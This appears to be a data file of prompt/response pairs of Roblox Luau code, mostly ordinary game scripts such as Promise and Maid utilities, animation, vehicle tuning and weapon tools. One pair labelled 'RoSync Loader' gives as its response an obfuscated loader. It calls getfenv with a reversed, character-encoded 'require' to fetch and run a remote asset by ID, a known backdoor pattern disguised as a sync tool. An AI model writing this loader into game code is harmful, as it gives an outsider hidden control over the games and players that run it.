		elseif v == "degrees" or v == "degree" or v == "rotation" then
			argToProcess = tonumber(argToProcess) or 180

		elseif v == "team" then
			local selectedTeam
			for _,team in pairs(main.teams:GetChildren()) do
				local teamName = string.lower(team.Name)
				if string.sub(teamName, 1, #argToProcess) == argToProcess then
					selectedTeam = team
					break
				end
			end
			argToProcess = selectedTeam

		elseif v == "teamcolor" then
			local teamColor
			for _,team in pairs(main.teams:GetChildren()) do
				local teamName = string.lower(team.Name)
				if string.sub(teamName, 1, #argToProcess) == argToProcess then
					teamColor = team.TeamColor
					break
				end
			end
			argToProcess = teamColor

		elseif v == "text" or v == "string" or v == "reason" or v == "question" or v == "teamname" or v == "code" then
			local _, minStartPos = string.lower(originalMessage):find(originalAlias)
			if argToProcess then
				local newOriginalMessage = string.sub(originalMessage, minStartPos+1)
				local startPos, endPos = string.lower(newOriginalMessage):find(argToProcess, 1, true)
				local message = string.sub(newOriginalMessage, startPos)
				if batchPos ~= #batches then
					local removeFrom = batchPos+1
					for i,v in pairs(batches) do
						if i >= removeFrom then
							table.remove(batches,removeFrom)
						end
					end
				end
				argToProcess = string.sub(argToProcess, 1, 420) -- We don't people flooding items like titles with over 20,000 characters for example
				if tonumber(message) or v == "code" then
					argToProcess = message
				else
					argToProcess = main:GetModule("cf"):FilterBroadcast(message, speaker)
				end
			else
				argToProcess = " "
			end

		elseif v == "answers" then
			local newArgs = {}
			if argToProcess then
				argToProcess:gsub('([^,]+)',function(c) newArgs[#newArgs+1] = c end);
				argToProcess = newArgs
			end

		elseif v == "material" then
			local finalMaterial = Enum.Material.Plastic
			for i, materialName in pairs(materials) do
				if (argToProcess == string.sub(string.lower(materialName),1,#argToProcess)) then
					finalMaterial = Enum.Material[materialName]
					break
				end
			end
			argToProcess = finalMaterial

		elseif v == "userid" or v == "playerid" or v == "plrid" then
			if argToProcess == nil then
				argToProcess = 1
			end
			local userId = tonumber(argToProcess)
			if not userId then
				local userName = string.lower(argToProcess)
				for i, plr in pairs(main.players:GetChildren()) do
					local plrName = string.lower(plr.Name)
					if string.sub(plrName, 1, #userName) == userName then
						userId = plr.UserId
					end
				end
				if not userId then
					userId = main:GetModule("cf"):GetUserId(argToProcess)
				end
			end
			argToProcess = userId

		elseif v == "tools" or v == "gears" or v == "tool" or v == "gear" then
			local toolName = argToProcess
			argToProcess = {}
			for i,v in pairs(main.listOfTools) do
				if toolName == "all" or string.lower(string.sub(v.Name, 1, #toolName)) == toolName then
					table.insert(argToProcess, v)
				end
			end

		elseif v == "morph" then
			local morphName = argToProcess
			argToProcess = nil
			if morphName then
				for i,v in pairs(main.server.Morphs:GetChildren()) do
					local mName = string.lower(v.Name)
					if mName == morphName then
						argToProcess = v
						break
					elseif string.sub(mName, 1, #morphName) == morphName then
						argToProcess = v
					end
				end
			end

		end
		if forceExit then
			break
		end
		table.insert(argsToReturn, argToProcess)
	end

	return argsToReturn, forceExit
end

return module


Prompt: --[[ Last synced 8/20/2022 01:20 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt:
--[=[
	Promise resolution procedure, resolves the given values

	@param ... T
]=]

Response:
function Promise:Resolve(...)
	if not self._pendingExecuteList then
		return
	end

	local len = select("#", ...)
	if len == 0 then
		self:_fulfill({}, 0)
	elseif self == (...) then
		self:Reject("TypeError: Resolved to self")
	elseif Promise.isPromise(...) then
		if len > 1 then
			local message = ("When resolving a promise, extra arguments are discarded! See:\n\n%s")
				:format(self._source)
			warn(message)
		end

		local promise2 = (...)
		if promise2._pendingExecuteList then -- pending
			promise2._unconsumedException = false
			promise2._pendingExecuteList[#promise2._pendingExecuteList + 1] = {
				function(...)
					self:Resolve(...)
				end,
				function(...)
					-- Still need to verify at this point that we're pending!
					if self._pendingExecuteList then
						self:_reject({...}, select("#", ...))
					end
				end,
				nil
			}
		elseif promise2._rejected then -- rejected
			promise2._unconsumedException = false
			self:_reject(promise2._rejected, promise2._valuesLength)
		elseif promise2._fulfilled then -- fulfilled
			self:_fulfill(promise2._fulfilled, promise2._valuesLength)
		else
			error("[Promise.Resolve] - Bad promise2 state")
		end
	elseif type(...) == "function" then
		if len > 1 then
			local message = ("When resolving a function, extra arguments are discarded! See:\n\n%s")
				:format(self._source)
			warn(message)
		end

		local func = ...
		func(self:_getResolveReject())
	else
		-- TODO: Handle thenable promises!
		-- Problem: Lua has :andThen() and also :Then() as two methods in promise
		-- implementations.
		self:_fulfill({...}, len)
	end
end


Prompt: -- создаём заготовки/клоны исходных скриптов

Response:
local scr1 = script.StageAdd:Clone()
local scr2 = script.onModelTouched:Clone()

local elements = script.Parent:GetChildren() -- взять дочек

for a,b in pairs(elements) do
	if b.ClassName == "Model" then -- проверить дочек на модель
		-- клонируем скрипты на свои места
		local s1=scr1:Clone()
		s1.Parent = b.Finish
		local s4=scr1:Clone()
		s4.Parent = b.SpawnLocation

		local s2=scr2:Clone()
		s2.Parent = b.Finish
		local s3=scr2:Clone()
		s3.Parent = b.SpawnLocation

		-- включаем скрипты
		s1.Disabled = false
		s2.Disabled = false
		s3.Disabled = false
		s4.Disabled = false
	end
end

local tmp = script.Parent:GetChildren()
local models = {}	-- пустой массив моделей


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end

	-- clean up walk if there is one
	if (runAnimKeyframeHandler ~= nil) then
		runAnimKeyframeHandler:disconnect()
	end

	if (runAnimTrack ~= nil) then
		runAnimTrack:Stop()
		runAnimTrack:Destroy()
		runAnimTrack = nil
	end

	return oldAnim
end

function getHeightScale()
	if zombie then
		local bodyHeightScale = zombie:FindFirstChild("BodyHeightScale")
		if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
			return bodyHeightScale.Value
		end
	end

	return 1
end

local smallButNotZero = 0.0001
function setRunSpeed(speed)
	if speed < 0.33 then
		currentAnimTrack:AdjustWeight(1.0)
		runAnimTrack:AdjustWeight(smallButNotZero)
	elseif speed < 0.66 then
		local weight = ((speed - 0.33) / 0.33)
		currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
		runAnimTrack:AdjustWeight(weight + smallButNotZero)
	else
		currentAnimTrack:AdjustWeight(smallButNotZero)
		runAnimTrack:AdjustWeight(1.0)
	end

	local speedScaled = speed * 1.25

	local heightScale = getHeightScale()

	runAnimTrack:AdjustSpeed(speedScaled / heightScale)
	currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		if currentAnim == "walk" then
			setRunSpeed(speed)
		else
			currentAnimTrack:AdjustSpeed(currentAnimSpeed)
		end
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then
		if currentAnim == "walk" then
			runAnimTrack.TimePosition = 0.0
			currentAnimTrack.TimePosition = 0.0
		else
			local repeatAnim = currentAnim
			-- return to idle if finishing an emote
			if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
				repeatAnim = "idle"
			end

			local animSpeed = currentAnimSpeed
			playAnimation(repeatAnim, 0.15, zombie)
			setAnimationSpeed(animSpeed)
		end
	end
end

function rollAnimation(animName)
	local roll = math.random(1, animTable[animName].totalWeight)
	local origRoll = roll
	local idx = 1
	while (roll > animTable[animName][idx].weight) do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	return idx
end

function playAnimation(animName, transitionTime, humanoid)
	local idx = rollAnimation(animName)
	local anim = animTable[animName][idx].anim

	-- switch animation
	if (anim ~= currentAnimInstance) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		if (runAnimTrack ~= nil) then
			runAnimTrack:Stop(transitionTime)
			runAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		currentAnimTrack.Priority = Enum.AnimationPriority.Core

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)

		-- check to see if we need to blend a walk/run animation
		if animName == "walk" then
			local runAnimName = "run"
			local runIdx = rollAnimation(runAnimName)

			runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
			runAnimTrack.Priority = Enum.AnimationPriority.Core
			runAnimTrack:Play(transitionTime)

			if (runAnimKeyframeHandler ~= nil) then
				runAnimKeyframeHandler:disconnect()
			end
			runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		end
	end

end


Prompt: -- Constructor

Response:
local Camera = workspace.CurrentCamera
local Looping = false
local Speed = 1
local FreezeControls = false


Prompt: ----- Loaded Modules -----

Response: local MadworkMaid = require(Madwork.GetShared("Madwork", "MadworkMaid"))


Prompt:
--[=[
	A BaseObject basically just adds the :Destroy() interface, and a _maid, along with an optional object it references.
	@class BaseObject
]=]

Response:
local require = require(script.Parent.loader).load(script)

local Maid = require("Maid")

local BaseObject = {}
BaseObject.ClassName = "BaseObject"
BaseObject.__index = BaseObject


Prompt: -- Join control

Response:
players.PlayerAdded:Connect(require(playerFunctions).PlayerAdded)
players.PlayerRemoving:Connect(require(playerFunctions).Save)


Prompt:
--[=[
	Returns the first alive Brio in a list

	@param brios {Brio<T>}
	@return Brio<T>
]=]

Response:
function BrioUtils.firstAlive(brios)
	for _, brio in pairs(brios) do
		if not brio:IsDead() then
			return brio
		end
	end
	return nil
end


Prompt:
--[[
	    ___      _______                _       _______
	   / _ |____/ ___/ /  ___ ____ ___ (_)__   /__  __/
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<     / /
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/	/_/
						SecondLogic @ Inspare
						Avxnturador @ Novena
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local BOVact = 0
local BOVact2 = 0

local BOV_Loudness = 0	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.2	--max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 0 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)

script:WaitForChild("Whistle")
script:WaitForChild("BOV")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		for i,v in pairs(car.DriveSeat:GetChildren()) do
			for _,a in pairs(script:GetChildren()) do
				if v.Name==a.Name then v:Stop() wait() v:Destroy() end
			end
		end
	end
end)

handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end

while wait() do
	local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)

	BOVact = math.floor(psi*20)
	WP = (psi)
	WV = (psi/4)*TurboLoudness

	BP = (1-(-psi/20))*BOV_Pitch
	BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))

	if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
	if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end

	if FE then
		handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
		handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
	else
		car.DriveSeat.Whistle.Pitch = WP
		car.DriveSeat.Whistle.Volume = WV
		car.DriveSeat.BOV.Pitch = BP
		car.DriveSeat.BOV.Volume = BV
	end
	if (tick()-ticc) >= 0.1 then
		BOVact2 = math.floor(psi*20)
		ticc = tick()
	end
end


Prompt: -- Get reference to the Dock frame

Response: local dock = script.Parent.Parent.DockShelf


Response:
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 5, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
--[[Information about tool:
This tool is created with the AH-64.
its one of the Efectivest tools created by me
]]
--Not change below SOMETHING! Exept where i say u may do !
--Flight movement

Response:
creativeval = 0
bin=script.Parent


Prompt:
--[=[
	@param predicate (value: any) -> boolean
	@return Option
	Returns `self` if this option has a value and the predicate returns `true.
	Otherwise, returns None.
]=]

Response:
function Option:Filter(predicate)
	if self:IsNone() or not predicate(self._v) then
		return Option.None
	else
		return self
	end
end


Prompt: --//EVENTS\\--

Response:
game:GetService("RunService").RenderStepped:Connect(function()--This part gets the renderization service
	--//VISIBLE\\--
	for i, part in pairs(character:GetChildren()) do
		if string.match(part.Name, "Arm") or string.match(part.Name, "Hand") or string.match(part.Name, "Leg") or string.match(part.Name, "Torso") or string.match(part.Name, "Foot") then--This part of the script will detect the names of the items listed then it's going to be used later on
			part.LocalTransparencyModifier = 0--disables the ability of your bodyparts to be transparent
		end
	end
end)


Prompt: -- find player's head pos

Response:
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local head = vCharacter:findFirstChild("Head")
	if head == nil then return end

	local launch = head.Position + 10 * v

	local missile = Pellet:clone()

	missile.Position = launch
	missile.Velocity = v * 80

	local force = Instance.new("BodyForce")
	force.force = Vector3.new(0,40,0)
	force.Parent = missile

	if (turbo) then
		missile.Velocity = v * 100
		force.force = Vector3.new(0,45,0)
	end

	missile.SnowballScript.Disabled = false

	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = vCharacter
	creator_tag.Name = "creator"
	creator_tag.Parent = missile

	missile.Parent = game.Workspace

end

function rndDir()
	return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end
if loaded==true then
	loaded=false

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit

	fire(lookAt, isTurbo(character) )

	if (isTurbo(character) == true) then
		wait(.1)
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .9 + rndDir() * .1, isTurbo(character) )
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .8 + rndDir() * .2, isTurbo(character) )
		wait(.1)
	else
		wait(.3)
	end

	Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
	wait(.1)
Tool.Handle.Transparency=0
wait(.1)
	loaded=true
	end
	Tool.Enabled = true
end

script.Parent.Activated:connect(onActivated)


Prompt: -- Left Arms

Response:
character.Constraint.ConstraintLeftUpperArm.Attachment0 = LUA
character.Constraint.ConstraintLeftUpperArm.Attachment1 = LUARig
character.Constraint.ConstraintLeftLowerArm.Attachment0 = LLA
character.Constraint.ConstraintLeftLowerArm.Attachment1 = LLARig
character.Constraint.ConstraintLeftHand.Attachment0 = LH
character.Constraint.ConstraintLeftHand.Attachment1 = LHRig


Prompt: -- Legacy implementation renamed

Response:
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number
	return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)
end

function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number
	if camLook.Magnitude > 0 then
		camLook = camLook.Unit
		local currAngle = math.atan2(camLook.Z, camLook.X)
		local newAngle = round((math.atan2(camLook.Z, camLook.X) + rotateAngle) / roundAmount) * roundAmount
		return newAngle - currAngle
	end
	return 0
end


Prompt:
--// Hash: 4ff11c83b72d76d1d1d67ed38db378bb76fe93bad84f73c50a81f60a561bca442213063368847fe595aea47ea94b3b28
-- Decompiled with the Synapse X Luau decompiler.

Response:
wait(3);
if game:GetService("VRService").VREnabled then
	game:GetService("Players").LocalPlayer:Kick("VR isn't supported, sorry!");
end;


Prompt: -- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching

Response:
local movementEnumToModuleMap = {
	[Enum.TouchMovementMode.DPad] = TouchDPad,
	[Enum.DevTouchMovementMode.DPad] = TouchDPad,
	[Enum.TouchMovementMode.Thumbpad] = TouchThumbpad,
	[Enum.DevTouchMovementMode.Thumbpad] = TouchThumbpad,
	[Enum.TouchMovementMode.Thumbstick] = TouchThumbstick,
	[Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick,
	[Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
	[Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick,
	[Enum.TouchMovementMode.ClickToMove] = ClickToMove,
	[Enum.DevTouchMovementMode.ClickToMove] = ClickToMove,

	-- Current default
	[Enum.TouchMovementMode.Default] = DynamicThumbstick,

	[Enum.ComputerMovementMode.Default] = Keyboard,
	[Enum.ComputerMovementMode.KeyboardMouse] = Keyboard,
	[Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard,
	[Enum.DevComputerMovementMode.Scriptable] = nil,
	[Enum.ComputerMovementMode.ClickToMove] = ClickToMove,
	[Enum.DevComputerMovementMode.ClickToMove] = ClickToMove,
}


Prompt:
--- Cleans up all tasks.
-- @alias Destroy

Response:
function Maid:doCleaning()
	local tasks = self._tasks

	-- Disconnect all events first as we know this is safe
	for index, task in pairs(tasks) do
		if typeof(task) == "RBXScriptConnection" then
			tasks[index] = nil
			task:Disconnect()
		end
	end

	-- Clear out tasks table completely, even if clean up tasks add more tasks to the maid
	local index, task = next(tasks)
	while task ~= nil do
		tasks[index] = nil
		if type(task) == "function" then
			task()
		elseif typeof(task) == "RBXScriptConnection" then
			task:Disconnect()
		elseif task.Destroy then
			task:Destroy()
		elseif task.destroy then
			task:destroy()
		end
		index, task = next(tasks)
	end
end


Prompt: -- Code --

Response:
setUp()

getProximityPrompts()
for index, prompt in ipairs(proximityPrompts) do
	local connection = prompt.Triggered:Connect(onTriggered)
	table.insert(connections, connection)
end


Prompt:
--[[
class Maid

Description:
	Manages the cleaning of events and other things. Needed to encapsulate state
	and make deconstructors easy

API:
	Maid.new()                        Returns a new Maid object.

	Maid[key] = (function)            Adds a task to perform when cleaning up.
	Maid[key] = (event connection)    Manages an event connection. Anything that isn"t a function is assumed to be this.
	Maid[key] = (Maid)                Maids can act as an event connection, allowing a Maid to have other maids to clean up.
	Maid[key] = (Object)              Maids can cleanup objects with a `Destroy` method
	Maid[key] = nil                   Removes a named task. If the task is an event, it is disconnected. If it is an object, it is destroyed.

	Maid:GiveTask(task)               Same as above, but uses an incremented number as a key.
	Maid:DoCleaning()                 Disconnects all managed events and performs all clean-up tasks.
	Maid:IsCleaning()				  Returns true is in cleaning process.
	Maid:Destroy()                    Alias for DoCleaning()
]]

Response: local Maid = {}


Prompt:
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	game.ReplicatedStorage.Events.Character.BuyWeapon:Fire(player,dialogueFolder.Parent.Name)
end


Prompt:
-- The pierce function can also be used for things like bouncing.
-- In reality, it's more of a function that the module uses to ask "Do I end the cast now, or do I keep going?"
-- Because of this, you can use it for logic such as ray reflection or other redirection methods.
-- A great example might be to pierce or bounce based on something like velocity or angle.
-- You can see this implementation further down in the OnRayPierced function.

Response:
function CanRayPierce(cast, rayResult, segmentVelocity)

	-- Let's keep track of how many times we've hit something.
	local hits = cast.UserData.Hits
	if (hits == nil) then
		-- If the hit data isn't registered, set it to 1 (because this is our first hit)
		cast.UserData.Hits = 1
	else
		-- If the hit data is registered, add 1.
		cast.UserData.Hits += 1
	end

	-- And if the hit count is over 3, don't allow piercing and instead stop the ray.
	if (cast.UserData.Hits > 3) then
		return false
	end

	-- Now if we make it here, we want our ray to continue.
	-- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too!
	-- So let's implement that.
	local hitPart = rayResult.Instance
	if hitPart ~= nil and hitPart.Parent ~= nil then
		local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid")
		if humanoid then
			local Player = Players:GetPlayerFromCharacter(Tool.Parent)
			humanoid.Health -= 50
			TagHumanoid(humanoid, Player)
		end
	end

	-- And then lastly, return true to tell FC to continue simulating.
	return true

	--[[
	-- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object.

	-- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce.

	if material == Enum.Material.Plastic or material == Enum.Material.Ice or material == Enum.Material.Glass or material == Enum.Material.SmoothPlastic then
		-- Hit glass, plastic, or ice...
		if hitPart.Transparency >= 0.5 then
			-- And it's >= half transparent...
			return true -- Yes! We can pierce.
		end
	end
	return false
	--]]
end

function Fire(direction)
	-- Called when we want to fire the gun.
	if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped.
	-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.

	-- UPD. 11 JUNE 2019 - Add support for random angles.
	local directionalCF = CFrame.new(Vector3.new(), direction)
	-- Now, we can use CFrame orientation to our advantage.
	-- Overwrite the existing Direction value.
	local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector

	-- UPDATE V6: Proper bullet velocity!
	-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.
	-- Requested by https://www.roblox.com/users/898618/profile/
	-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
	local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1)	-- Add a timeout to this.
	local myMovementSpeed = humanoidRootPart.Velocity							-- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
	local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed	-- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.

	if PIERCE_DEMO then
		CastBehavior.CanPierceFunction = CanRayPierce
	end

	local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)
	-- Optionally use some methods on simBullet here if applicable.

	-- Play the sound
	PlayFireSound()
	PlayReloadSound()
end


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KeroppiKnife-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T				    ,
		ToggleABS				= nil					            ,
		ToggleTransMode			= Enum.KeyCode.M		 			,
		ToggleMouseDrive		= nil					            ,

		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.P		        	,

		--Handbrake
		PBrake					= Enum.KeyCode.LeftShift			,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}


Prompt: -- Gradually regenerates the Humanoid's Health over time.

Response:
local REGEN_RATE = 1/300 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 5 -- Wait this long between each regeneration step.


Prompt:
--[=[
	@private
	@class Utils
]=]

Response:
local Utils = {}

local function errorOnIndex(_, index)
	error(("Bad index %q"):format(tostring(index)), 2)
end

local READ_ONLY_METATABLE = {
	__index = errorOnIndex;
	__newindex = errorOnIndex;
}

function Utils.readonly(_table)
	return setmetatable(_table, READ_ONLY_METATABLE)
end

function Utils.count(_table)
	local count = 0
	for _, _ in pairs(_table) do
		count = count + 1
	end
	return count
end

function Utils.getOrCreateValue(parent, instanceType, name, defaultValue)
	assert(typeof(parent) == "Instance", "Bad argument 'parent'")
	assert(type(instanceType) == "string", "Bad argument 'instanceType'")
	assert(type(name) == "string", "Bad argument 'name'")

	local foundChild = parent:FindFirstChild(name)
	if foundChild then
		if not foundChild:IsA(instanceType) then
			warn(("[Utils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead")
				:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
		end

		return foundChild
	else
		local newChild = Instance.new(instanceType)
		newChild.Name = name
		newChild.Value = defaultValue
		newChild.Parent = parent

		return newChild
	end
end

function Utils.getValue(parent, instanceType, name, default)
	assert(typeof(parent) == "Instance", "Bad argument 'parent'")
	assert(type(instanceType) == "string", "Bad argument 'instanceType'")
	assert(type(name) == "string", "Bad argument 'name'")

	local foundChild = parent:FindFirstChild(name)
	if foundChild then
		if foundChild:IsA(instanceType) then
			return foundChild.Value
		else
			warn(("[Utils.getValue] - Value of type %q of name %q is of type %q in %s instead")
				:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
			return nil
		end
	else
		return default
	end
end

function Utils.setValue(parent, instanceType, name, value)
	assert(typeof(parent) == "Instance", "Bad argument 'parent'")
	assert(type(instanceType) == "string", "Bad argument 'instanceType'")
	assert(type(name) == "string", "Bad argument 'name'")

	local foundChild = parent:FindFirstChild(name)
	if foundChild then
		if not foundChild:IsA(instanceType) then
			warn(("[Utils.setValue] - Value of type %q of name %q is of type %q in %s instead")
				:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
		end

		foundChild.Value = value
	else
		local newChild = Instance.new(instanceType)
		newChild.Name = name
		newChild.Value = value
		newChild.Parent = parent
	end
end

function Utils.getOrCreateFolder(parent, folderName)
	local found = parent:FindFirstChild(folderName)
	if found then
		return found
	else
		local folder = Instance.new("Folder")
		folder.Name = folderName
		folder.Parent = parent
		return folder
	end
end

return Utils


Prompt:
-- The Symbol used to tag the ReactElement-like types. If there is no native Symbol
-- nor polyfill, then a plain number is used for performance.

Response:
exports.REACT_ELEMENT_TYPE = 0xeac7
exports.REACT_PORTAL_TYPE = 0xeaca
exports.REACT_FRAGMENT_TYPE = 0xeacb
exports.REACT_STRICT_MODE_TYPE = 0xeacc
